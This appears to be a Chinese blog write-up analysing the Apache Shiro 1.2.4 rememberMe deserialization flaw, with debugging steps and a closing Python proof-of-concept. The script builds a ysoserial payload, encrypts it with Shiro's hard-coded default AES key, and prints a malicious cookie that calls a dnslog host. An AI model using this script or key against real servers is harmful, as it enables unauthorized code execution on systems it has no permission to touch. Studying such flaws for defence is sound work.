Shiro介绍
漏洞分析
漏洞介绍
Shiro为了保存用户的登录信息,将持久化信息序列化、加密后保存在”remeberMe”字段中,而在Shiro<=1.2.4版本中,Shiro进行AES加密使用的KEY硬编码在代码中,攻击者因此可以构造恶意remeberMe Cookie值,触发反序列化漏洞。
触发流程:
remeberMe Cookie值 -> Base64解密 ->AES解密->反序列化
环境搭建
所需工具:
- Tomcat8
- JDK1.7
- shiro war包
- shiro1.2.4源码
- IDEA
- 打开IDEA,载入shiro1.2.4源码
- 配置Tomcat,将shiro的war包添加进依赖,选择一个调试端口。
3.启动环境
漏洞分析
输入账号密码,并勾选RemeberMe选项。
抓包,可以看到Cookie中的remeberMe值。
双击shift搜索cookie相关的类,进入“CookieRememberMeManager”,并在getRememberedSerializedIdentity方法的HttpServletRequest request = WebUtils.getHttpRequest(wsc)处下断点,注意要将报文中Cookie中的JSESSIONID键值对删去,进行单步调试。
getCookie().readValue(request, response)获取remeberMe的值,当该值不等于常量值DELETED_COOKIE_VALUE(deleteme)时,对remeberMe调用ensurePadding处理后再调用Base64.decode解码。
对remernerMe进行base64解码后,调用convertBytesToPrincipals进行处理。查看convertBytesToPrincipals函数,先调用decrypt进行解密,再调用deserialize进行反序列化。
先看decrypt实现,调用cipherService.decrypt解密,该函数两个参数,一个是Base64解码后的remeberMe值,一个是Key值。
首先看一下Key值,发现传入的是一个固定值Key,这也是该漏洞的根源。
再看cipherService.decrypt函数实现,使用的是AES加密,模式为CBC,填充模式为PKCS5Padding
再调用deserialize对AES解密后的remeberMe进行反序列化,使用的是java原生的readObject()函数。单步执行完函数,可以看到deserialized已被反序列化为“root”。
漏洞利用
利用脚本
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
popen = subprocess.Popen([r'H:\JDK\JAVA8u351\bin\java.exe', '-jar', r'H:\02工具\01审计工具\反序列化\ysoserial-all.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# 替换dnslog
payload = rememberme('http://9ners1.dnslog.cn')
print("rememberMe={}".format(payload.decode()))
生产Payload
查看回显